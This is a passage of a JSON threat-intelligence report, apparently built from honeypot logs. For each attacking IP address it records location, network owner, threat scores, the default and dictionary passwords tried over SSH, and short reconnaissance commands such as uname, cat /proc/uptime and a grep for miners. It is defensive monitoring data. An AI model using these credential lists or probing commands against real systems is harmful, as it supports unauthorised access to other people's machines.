        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 207164,
      "as_org": "Primanet Srl",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T02:43:46.869000+00:00",
        "last_seen_30d": "2026-03-26T11:39:31.857000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 8
      }
    },
    "188.130.206.131": {
      "attack_count": 58,
      "first_seen": "2026-03-20T20:33:52.403Z",
      "last_seen": "2026-03-20T21:43:31.362Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "jon",
        "lin",
        "test"
      ],
      "passwords_attempted": [
        "1qaz!QAZ",
        "Jon",
        "Lin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T20:33:52.403000+00:00",
        "last_seen_30d": "2026-03-20T21:44:37.742000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 58,
        "Suricata": 39
      }
    },
    "134.209.150.252": {
      "attack_count": 57,
      "first_seen": "2026-03-03T12:41:24.870Z",
      "last_seen": "2026-03-03T12:50:51.863Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "P@ssw0rd",
        "admin",
        "admin123",
        "admin2026",
        "letmein",
        "passw0rd",
        "password",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T12:41:24.870000+00:00",
        "last_seen_30d": "2026-03-03T12:51:55.121000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 57,
        "Suricata": 24
      }
    },
    "176.65.134.22": {
      "attack_count": 52,
      "first_seen": "2026-03-02T17:54:49.723Z",
      "last_seen": "2026-03-13T20:42:54.393Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Slovenia",
      "country_code": "SI",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 42.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 15.0,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 18,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T11:17:26.239000+00:00",
        "last_seen_30d": "2026-03-19T17:05:23.114000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Cowrie": 52,
        "Honeytrap": 3,
        "Tanner": 1
      }
    },
    "223.123.38.32": {
      "attack_count": 50,
      "first_seen": "2026-03-07T08:53:19.508Z",
      "last_seen": "2026-03-07T08:58:43.863Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T08:53:19.508000+00:00",
        "last_seen_30d": "2026-03-07T08:59:49.205000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "116.99.173.223": {
      "attack_count": 47,
      "first_seen": "2026-03-19T08:29:03.344Z",
      "last_seen": "2026-03-19T08:34:00.002Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "config",
        "squid",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "admin",
        "@",
        "admin@123",
        "config",
        "password",
        "squid",
        "ubnt",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:29:03.344000+00:00",
        "last_seen_30d": "2026-03-19T08:44:02.921000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 47,
        "Suricata": 20
      }
    },
    "34.53.176.73": {
      "attack_count": 39,
      "first_seen": "2026-03-19T09:15:14.412Z",
      "last_seen": "2026-03-19T09:15:23.742Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T09:15:14.412000+00:00",
        "last_seen_30d": "2026-03-19T09:16:29.055000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 39,
        "Suricata": 22
      }
    },
    "14.103.120.124": {
      "attack_count": 38,
      "first_seen": "2026-03-12T10:44:37.159Z",
      "last_seen": "2026-03-12T11:22:56.864Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "ehsan",
        "roy"
      ],
      "passwords_attempted": [
        "1234",
        "Ehsan123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T10:44:37.159000+00:00",
        "last_seen_30d": "2026-03-12T11:33:58.760000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 30
      }
    },
    "38.188.160.245": {
      "attack_count": 38,
      "first_seen": "2026-03-10T23:17:40.705Z",
      "last_seen": "2026-03-11T00:37:33.752Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "09091985",
        "110980",
        "1901",
        "301281",
        "310586",
        "cecilia1",
        "harrypotte1"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:17:40.705000+00:00",
        "last_seen_30d": "2026-03-11T00:38:42.623000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 21
      }
    },
    "14.103.111.167": {
      "attack_count": 37,
      "first_seen": "2026-03-27T03:51:00.787Z",
      "last_seen": "2026-03-27T04:40:09.744Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T03:51:00.787000+00:00",
        "last_seen_30d": "2026-03-27T04:51:14.025000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 31
      }
    },
    "223.73.37.107": {
      "attack_count": 36,
      "first_seen": "2026-03-16T15:15:04.099Z",
      "last_seen": "2026-03-21T23:44:49.942Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "dls",
        "jellyfin",
        "myuser",
        "root",
        "ti"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "P@ssw0rD",
        "Ti123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Dongguan",
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T15:15:04.099000+00:00",
        "last_seen_30d": "2026-03-21T23:54:55.264000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 24
      }
    },
    "157.245.66.250": {
      "attack_count": 35,
      "first_seen": "2026-03-16T13:03:05.064Z",
      "last_seen": "2026-03-16T13:07:29.698Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "pi"
      ],
      "passwords_attempted": [
        "!root",
        "1qaz2wsx",
        "qwerty123456",
        "raspberry",
        "root!@#"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T13:03:05.064000+00:00",
        "last_seen_30d": "2026-03-16T13:08:32.785000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 14
      }
    },
    "103.82.195.73": {
      "attack_count": 34,
      "first_seen": "2026-03-26T02:41:26.264Z",
      "last_seen": "2026-03-26T02:42:22.098Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 149089,
      "as_org": "CLOUDFLY CORPORATION",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T02:41:26.264000+00:00",
        "last_seen_30d": "2026-03-26T02:43:31.438000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "162.243.101.242": {
      "attack_count": 33,
      "first_seen": "2026-03-02T08:28:43.596Z",
      "last_seen": "2026-03-02T08:35:15.214Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T08:28:43.596000+00:00",
        "last_seen_30d": "2026-03-02T08:36:24.742000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 11
      }
    },
    "139.135.46.192": {
      "attack_count": 30,
      "first_seen": "2026-03-15T11:55:22.278Z",
      "last_seen": "2026-03-15T11:58:36.620Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T11:55:22.278000+00:00",
        "last_seen_30d": "2026-03-15T11:59:39.554000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "182.127.11.6": {
      "attack_count": 30,
      "first_seen": "2026-03-10T08:33:09.938Z",
      "last_seen": "2026-03-10T08:36:24.368Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:33:09.938000+00:00",
        "last_seen_30d": "2026-03-10T08:37:25.001000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "147.182.164.119": {
      "attack_count": 25,
      "first_seen": "2026-03-10T22:51:35.876Z",
      "last_seen": "2026-03-10T22:57:00.810Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "root123",
        "root321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T22:51:35.876000+00:00",
        "last_seen_30d": "2026-03-10T22:58:01.967000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 11
      }
    },
    "181.176.14.90": {
      "attack_count": 25,
      "first_seen": "2026-03-17T22:30:01.527Z",
      "last_seen": "2026-03-17T22:37:14.645Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Chorrillos",
      "asn": 262210,
      "as_org": "VIETTEL PERU S.A.C.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T22:30:01.527000+00:00",
        "last_seen_30d": "2026-03-17T22:38:19.299000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 13
      }
    },
    "187.23.48.25": {
      "attack_count": 22,
      "first_seen": "2026-03-26T03:15:40.710Z",
      "last_seen": "2026-03-26T22:25:08.570Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Jos\u00e9 do Rio Preto",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T03:15:40.710000+00:00",
        "last_seen_30d": "2026-03-26T22:36:03.444000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 37,
        "Cowrie": 22
      }
    },
    "144.31.255.133": {
      "attack_count": 20,
      "first_seen": "2026-03-26T04:39:14.263Z",
      "last_seen": "2026-03-26T04:41:21.037Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 213877,
      "as_org": "U1 Digital Services Ltd",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T04:39:14.263000+00:00",
        "last_seen_30d": "2026-03-26T04:42:30.272000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "157.255.29.89": {
      "attack_count": 20,
      "first_seen": "2026-03-23T23:42:33.012Z",
      "last_seen": "2026-03-23T23:42:40.619Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136958,
      "as_org": "China Unicom Guangdong IP network",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T23:42:33.012000+00:00",
        "last_seen_30d": "2026-03-23T23:43:49.114000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 9
      }
    },
    "123.163.51.4": {
      "attack_count": 19,
      "first_seen": "2026-03-20T15:38:21.661Z",
      "last_seen": "2026-03-24T23:50:25.780Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T15:38:21.661000+00:00",
        "last_seen_30d": "2026-03-25T00:00:30.854000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 14
      }
    },
    "36.92.84.132": {
      "attack_count": 16,
      "first_seen": "2026-03-08T20:54:15.245Z",
      "last_seen": "2026-03-08T20:57:19.674Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T20:54:15.245000+00:00",
        "last_seen_30d": "2026-03-08T20:58:20.619000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "41.184.94.75": {
      "attack_count": 15,
      "first_seen": "2026-03-26T19:24:06.712Z",
      "last_seen": "2026-03-26T20:57:18.513Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Pa55w0rd@2025",
        "ace123",
        "root!@12"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Abuja",
      "asn": 29091,
      "as_org": "IPNXng",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:24:06.712000+00:00",
        "last_seen_30d": "2026-03-26T20:58:23.605000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "14.102.189.106": {
      "attack_count": 14,
      "first_seen": "2026-03-10T06:19:23.770Z",
      "last_seen": "2026-03-10T06:20:54.350Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 137120,
      "as_org": "Nas Internet Services Private Limited",
      "threat_score": 7.9,
